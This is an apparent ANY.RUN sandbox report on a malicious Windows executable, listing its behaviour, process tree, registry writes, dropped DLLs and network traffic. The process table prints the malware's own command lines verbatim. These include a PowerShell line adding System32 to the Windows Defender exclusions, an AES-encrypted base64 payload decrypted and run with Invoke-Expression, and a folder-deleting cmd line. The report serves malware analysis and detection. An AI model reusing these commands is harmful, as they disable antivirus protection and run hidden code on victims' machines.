| File name: | 00948444f3e248047722667419d54205.exe |
| Full analysis: | https://app.any.run/tasks/7f4b64e8-dadb-47f2-9eab-b1bc16bd702c |
| Verdict: | Malicious activity |
| Analysis date: | August 21, 2024, 08:11:40 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32+ executable (GUI) x86-64, for MS Windows |
| MD5: | 00948444F3E248047722667419D54205 |
| SHA1: | CA291799966F2A1D8EC8CDAB92DAA6883BDDAC9E |
| SHA256: | C97C029E6368BF6502E9C9C9EE0FC079C61DA9E79C3798E8A246D19446B5AFA8 |
| SSDEEP: | 12288:5ff6ohApMUtt9+eC3bPvjduHy4AXiYaY4wPF:5ff6o2R+eNZwiYz |
MALICIOUS
Scans artifacts that could help determine the target
- 00948444f3e248047722667419d54205.exe (PID: 6672)
Starts CMD.EXE for self-deleting
- 00948444f3e248047722667419d54205.exe (PID: 6672)
The DLL Hijacking
- printui.exe (PID: 7100)
Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)
- powershell.exe (PID: 2032)
Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)
- powershell.exe (PID: 2032)
Adds path to the Windows Defender exclusion list
- printui.exe (PID: 7100)
- cmd.exe (PID: 508)
Uses AES cipher (POWERSHELL)
- powershell.exe (PID: 2032)
Creates or modifies Windows services
- reg.exe (PID: 4040)
Uses Task Scheduler to autorun other applications
- cmd.exe (PID: 6504)
SUSPICIOUS
Drops the executable file immediately after the start
- 00948444f3e248047722667419d54205.exe (PID: 6672)
- printui.exe (PID: 7100)
Reads security settings of Internet Explorer
- 00948444f3e248047722667419d54205.exe (PID: 6672)
Checks Windows Trust Settings
- 00948444f3e248047722667419d54205.exe (PID: 6672)
Created directory related to system
- cmd.exe (PID: 7096)
Starts CMD.EXE for commands execution
- 00948444f3e248047722667419d54205.exe (PID: 6672)
- printui.exe (PID: 7100)
- console_zero.exe (PID: 7064)
Process drops legitimate windows executable
- 00948444f3e248047722667419d54205.exe (PID: 6672)
- printui.exe (PID: 7100)
Executable content was dropped or overwritten
- 00948444f3e248047722667419d54205.exe (PID: 6672)
- printui.exe (PID: 7100)
Uses TIMEOUT.EXE to delay execution
- cmd.exe (PID: 7160)
- cmd.exe (PID: 872)
Cryptography encrypted command line is found
- cmd.exe (PID: 1064)
- powershell.exe (PID: 2032)
Possibly malicious use of IEX has been detected
- cmd.exe (PID: 1064)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 508)
- cmd.exe (PID: 1064)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 2032)
Script adds exclusion path to Windows Defender
- cmd.exe (PID: 508)
The process drops C-runtime libraries
- printui.exe (PID: 7100)
Starts SC.EXE for service management
- cmd.exe (PID: 5072)
Uses REG/REGEDIT.EXE to modify registry
- cmd.exe (PID: 5072)
Deletes scheduled task without confirmation
- schtasks.exe (PID: 7012)
The process deletes folder without confirmation
- printui.exe (PID: 7100)
INFO
Reads the computer name
- 00948444f3e248047722667419d54205.exe (PID: 6672)
Checks supported languages
- 00948444f3e248047722667419d54205.exe (PID: 6672)
- printui.exe (PID: 7100)
- console_zero.exe (PID: 7064)
Creates files or folders in the user directory
- 00948444f3e248047722667419d54205.exe (PID: 6672)
Create files in a temporary directory
- 00948444f3e248047722667419d54205.exe (PID: 6672)
Checks proxy server information
- 00948444f3e248047722667419d54205.exe (PID: 6672)
Reads the software policy settings
- 00948444f3e248047722667419d54205.exe (PID: 6672)
Reads the machine GUID from the registry
- 00948444f3e248047722667419d54205.exe (PID: 6672)
Gets data length (POWERSHELL)
- powershell.exe (PID: 2032)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 2032)
- powershell.exe (PID: 5716)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 2032)
- powershell.exe (PID: 5716)
Dropped object may contain TOR URL's
- printui.exe (PID: 7100)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
EXIF
EXE
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2024:08:18 04:22:31+00:00 |
| ImageFileCharacteristics: | Executable, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 14.41 |
| CodeSize: | 214016 |
| InitializedDataSize: | 231424 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x1adb8 |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
Total processes
168
Monitored processes
34
Malicious processes
4
Suspicious processes
5
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 304 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 508 | cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';" | C:\Windows\System32\cmd.exe | — | printui.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 872 | cmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "C:\Windows \" | C:\Windows\System32\cmd.exe | — | printui.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1064 | "C:\Windows\System32\cmd.exe" /c powershell -Command "function dcstr { param ( [string]$cptx, [byte[]]$ky, [byte[]]$vv ) $aee = [System.Security.Cryptography.Aes]::Create(); $aee.Key = $ky; $aee.IV = $vv; $decr = $aee.CreateDecryptor($aee.Key, $aee.IV); $ciptbyt = [System.Convert]::FromBase64String($cptx); $decrbyt = $decr.TransformFinalBlock($ciptbyt, 0, $ciptbyt.Length); return [System.Text.Encoding]::UTF8.GetString($decrbyt); } $b64 = 'bEwPXcExNI2H+9tnOrO88vZr8LsvFbHxwO43zjWB2UEe39wbWt2wfYJn+M6AjL2oz3gIgcocur6WCc/5IYLV6c3HjNhgfxV59aCFOKqxmKXu/mfoJbe45VyAXPin5ErM20zro4fLljjJuxjliX/F0TOK8TE1CgAQLpE0b+Bo2x4Qgs6hRalwuJuorg9Gjhgh'; $ky = [byte[]](0x1E, 0x5B, 0x26, 0xF0, 0x75, 0x52, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE4, 0x98, 0xE4); $vv = [byte[]](0x10, 0x5B, 0x26, 0xE1, 0x75, 0x51, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE1, 0x88, 0xFF); $pcmd = dcstr -cptx $b64 -ky $ky -vv $vv; Invoke-Expression $pcmd;" | C:\Windows\System32\cmd.exe | — | printui.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1568 | timeout /t 10 /nobreak | C:\Windows\System32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1920 | "C:\Windows \System32\printui.exe" | C:\Windows \System32\printui.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Change Printing Settings Exit code: 3221226540 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2032 | powershell -Command "function dcstr { param ( [string]$cptx, [byte[]]$ky, [byte[]]$vv ) $aee = [System.Security.Cryptography.Aes]::Create(); $aee.Key = $ky; $aee.IV = $vv; $decr = $aee.CreateDecryptor($aee.Key, $aee.IV); $ciptbyt = [System.Convert]::FromBase64String($cptx); $decrbyt = $decr.TransformFinalBlock($ciptbyt, 0, $ciptbyt.Length); return [System.Text.Encoding]::UTF8.GetString($decrbyt); } $b64 = 'bEwPXcExNI2H+9tnOrO88vZr8LsvFbHxwO43zjWB2UEe39wbWt2wfYJn+M6AjL2oz3gIgcocur6WCc/5IYLV6c3HjNhgfxV59aCFOKqxmKXu/mfoJbe45VyAXPin5ErM20zro4fLljjJuxjliX/F0TOK8TE1CgAQLpE0b+Bo2x4Qgs6hRalwuJuorg9Gjhgh'; $ky = [byte[]](0x1E, 0x5B, 0x26, 0xF0, 0x75, 0x52, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE4, 0x98, 0xE4); $vv = [byte[]](0x10, 0x5B, 0x26, 0xE1, 0x75, 0x51, 0xE6, 0xF4, 0x7D, 0xBB, 0x3A, 0x6D, 0xB0, 0xE1, 0x88, 0xFF); $pcmd = dcstr -cptx $b64 -ky $ky -vv $vv; Invoke-Expression $pcmd;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2096 | sc start x229164 | C:\Windows\System32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Service Control Manager Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2660 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3864 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
15 194
Read events
15 170
Write events
23
Delete events
1
Modification events
| (PID) Process: | (6672) 00948444f3e248047722667419d54205.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (6672) 00948444f3e248047722667419d54205.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (6672) 00948444f3e248047722667419d54205.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (6672) 00948444f3e248047722667419d54205.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (6672) 00948444f3e248047722667419d54205.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6672) 00948444f3e248047722667419d54205.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6672) 00948444f3e248047722667419d54205.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (7164) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (7164) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (7164) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
Executable files
14
Suspicious files
4
Text files
4
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6672 | 00948444f3e248047722667419d54205.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\usvcusb[1].dat | — | |
MD5:— | SHA256:— | |||
| 6672 | 00948444f3e248047722667419d54205.exe | C:\Users\admin\AppData\Local\Temp\pyld64.dll | — | |
MD5:— | SHA256:— | |||
| 6672 | 00948444f3e248047722667419d54205.exe | C:\Windows \System32\printui.dll | — | |
MD5:— | SHA256:— | |||
| 6672 | 00948444f3e248047722667419d54205.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 | binary | |
MD5:24B0A9E52BC6B63CFEBD6B241D6BAB04 | SHA256:D5166EDA1BBBFD06D26330E9CE19215CEACBCD6B10BBC9B76DC312ADDD3237EE | |||
| 6672 | 00948444f3e248047722667419d54205.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 | binary | |
MD5:25920C6F980724CF8E6CA7828BEC3C79 | SHA256:EC04E2604825A9BADFE4256E8407D3A1177EDCED31B3B1A28A26511E6EB4C5B1 | |||
| 7100 | printui.exe | C:\Windows\System32\winsvcf\winlogsvc | binary | |
MD5:2D649B6EB36C0E6A48FFA84E2863B70B | SHA256:0FDF50C2141AAA4FCCC634EBCBA1E3D0D8415B90A5CC81097A7B275B18F683FB | |||
| 5716 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_x4i2vbui.l3w.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7100 | printui.exe | C:\Windows\System32\libcrypto-3-x64.dll | executable | |
MD5:158F0E7C4529E3867E07545C6D1174A9 | SHA256:DCC1FA1A341597DDB1476E3B5B3952456F07870A26FC30B0C6E6312764BAA1FC | |||
| 7100 | printui.exe | C:\Windows\System32\libwinpthread-1.dll | executable | |
MD5:9DC829C2C8962347BC9ADF891C51AC05 | SHA256:FFE2D56375BB4E8BDEE9037DF6BEFC5016DDD8871D0D85027314DD5792F8FDC9 | |||
| 7100 | printui.exe | C:\Windows\System32\libssl-3-x64.dll | executable | |
MD5:69D0FEE0CC47C3B255C317F08CE8D274 | SHA256:BA979C2DBFB35D205D9D28D97D177F33D501D954C7187330F6893BB7D0858713 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
32
DNS requests
17
Threats
1
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6672 | 00948444f3e248047722667419d54205.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D | unknown | — | — | whitelisted |
3412 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6224 | SIHClient.exe | GET | 200 | 88.221.169.152:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
7072 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1556 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 192.168.100.255:138 | — | — | — | whitelisted |
3308 | RUXIMICS.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2120 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6672 | 00948444f3e248047722667419d54205.exe | 185.199.110.133:443 | raw.githubusercontent.com | FASTLY | US | unknown |
6672 | 00948444f3e248047722667419d54205.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
1556 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3412 | svchost.exe | 20.190.160.22:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3412 | svchost.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
3260 | svchost.exe | 40.113.110.67:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
raw.githubusercontent.com |
| shared |
ocsp.digicert.com |
| whitelisted |
login.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
arc.msn.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2256 | svchost.exe | Not Suspicious Traffic | INFO [ANY.RUN] Attempting to access raw user content on GitHub |